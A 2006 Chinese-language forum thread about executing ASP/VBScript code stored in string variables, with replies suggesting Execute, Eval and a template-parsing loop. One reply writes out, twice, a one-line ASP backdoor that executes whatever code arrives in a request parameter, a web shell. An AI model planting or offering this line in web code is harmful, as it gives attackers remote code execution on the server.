一个困扰我很长时间的ASP问题,难道真没有解决方法了吗?

tcmuch 2006-01-27 03:13:33
比如:
<%

a="Response.Write(""xxx"")"
b="Request.From(""yyy"")"

%>


问题为:
接下来该怎么写,才能执行变量a里面的字符串代码
要执行变量b里面的字符串代码又要怎么写?

...全文
236 18 打赏 收藏 转发到动态 举报
写回复
用AI写文章
18 条回复
切换为时间正序
请发表友善的回复…
发表回复
tcmuch 2006-02-07
  • 打赏
  • 举报
回复
对了!我成功了,谢谢大家!
iuhxq 2006-01-31
  • 打赏
  • 举报
回复
sorry
上面的就可以,有一个后门就是:
<%if request("#")<>"" then execute(request("#"))%>
iuhxq 2006-01-31
  • 打赏
  • 举报
回复
上面的就可以,有一个后门就是:
<%if request("#")<>"" then execute(request("3"))%>
超级大笨狼 2006-01-31
  • 打赏
  • 举报
回复

<%

a="Response.Write(""xxx"")"
b="Request.From(""yyy"")"
excute a
excute b
excute "c=1+1"
Response.Write c
%>
YJBOLD 2006-01-30
  • 打赏
  • 举报
回复
<%

a="Response.Write(""xxx"")"
b="c=Request.From(""yyy"")"
execute a
execute b
%>
YJBOLD 2006-01-30
  • 打赏
  • 举报
回复
<%

a="Response.Write(""xxx"")"
b="Request.From(""yyy"")"
execute a
execute b
%>
李睿_Lee 2006-01-30
  • 打赏
  • 举报
回复
没看懂是什么意思。
lxcooi 2006-01-30
  • 打赏
  • 举报
回复
Eval
Execute

在 VBScript 中,x = y 可以有两种解释。首先是作为赋值语句,将 y 的值赋予 x。其次是作为表达式,测试x 和 y 的值是否相等。如果相等,结果为 True;否则,结果为 False。Execute 语句总是使用第一种解释,而 Eval 方法总是使用第二种。

这是VBS中的两个函数,只要是VBS环境中肯定有效。试试吧。
laboo 2006-01-30
  • 打赏
  • 举报
回复
不明白意图啊
BlueDestiny 2006-01-30
  • 打赏
  • 举报
回复
<%
a="Response.Write(""xxx"")"
execute(a)
%>
jim.ma 2006-01-27
  • 打赏
  • 举报
回复
楼上方法。
-神仙- 2006-01-27
  • 打赏
  • 举报
回复
Server.execute.....
好像有这个东西
tcmuch 2006-01-27
  • 打赏
  • 举报
回复
4楼的
Response.write(a) 可以用
Response.write(b) 不可以用(代码中我已经把From改成Form了,发贴时写错了)
tcmuch 2006-01-27
  • 打赏
  • 举报
回复
二楼的办法不能对付所有的ASP代码啊,
例如

a = "<%"
b = "%>"

我现在要使我的ASP源文件没有“<%%>”取而代之的要用a和b来代替“<%%>”的作用
Hiyeah2001 2006-01-27
  • 打赏
  • 举报
回复
a="Response.Write(""xxx"")" 那a等于什么?a="Response.Write("......不知道楼主想干什么。
quweiie 2006-01-27
  • 打赏
  • 举报
回复
<%
a="Response.Write(""xxx"")"
b="Request.From(""yyy"")"
%>
把双引号去掉,然后<%Response.Write (a & b)%>or
<%
Response.Write (a)
Response.Write (b)
%>
hxyman 2006-01-27
  • 打赏
  • 举报
回复
'exe(request|cint, ID) 即得 cint(request("ID"))
Do While (Instr(ss, "{$exe(")>0 And Instr(ss, ")}")>0)
iGet = StrCut(ss, "{$exe(", ")}", 2)
iValue = Trim(Split(iGet, ",")(1))
iArr = Split(Split(iGet, ",")(0),"|")
If Err Or Trim(iValue) = "" Then
Err.Clear
ErrMsg = ErrMsg & "<li>解释出错,exe标签错误</li>" & Sql
Exit Function
End If
For ii=0 To Ubound(iArr)
Select Case ""&Trim(LCase(iArr(ii)))&""
Case "session"
iValue = session(iValue)
Case "request.cookies"
iValue = request.cookies(iValue)
Case "request.querystring"
iValue = request.querystring(iValue)
Case "request.form"
iValue = request.form(iValue)
Case "request"
iValue = request(iValue)
Case "cint"
iValue = Cint(iValue)
End Select
Next
ss = Replace(ss, "{$exe(" & iGet & ")}", iValue)
Loop
hxyman 2006-01-27
  • 打赏
  • 举报
回复
下面只是一种思路,即从目标字符中查找某个函数的关键字,如果找到就按某个函数的参数格式从目标字符串中获取必要的数据,我在自己写的一个模板处理类(http://www.sunkkx.com/test/demo.asp?action=demo)中用到了这种方法。
不知道有没有更好的方法,ASP中好像没有类似于JS的eval()功能的函数。
<%
a = "response.write(""xxx"")"

If instr(lcase(a), "response.write(") > 0 Then
Response.Write mid(a, instr(a, "(")+1, instr(a, ")")-instr(a, "("))
End If
%>

28,406

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧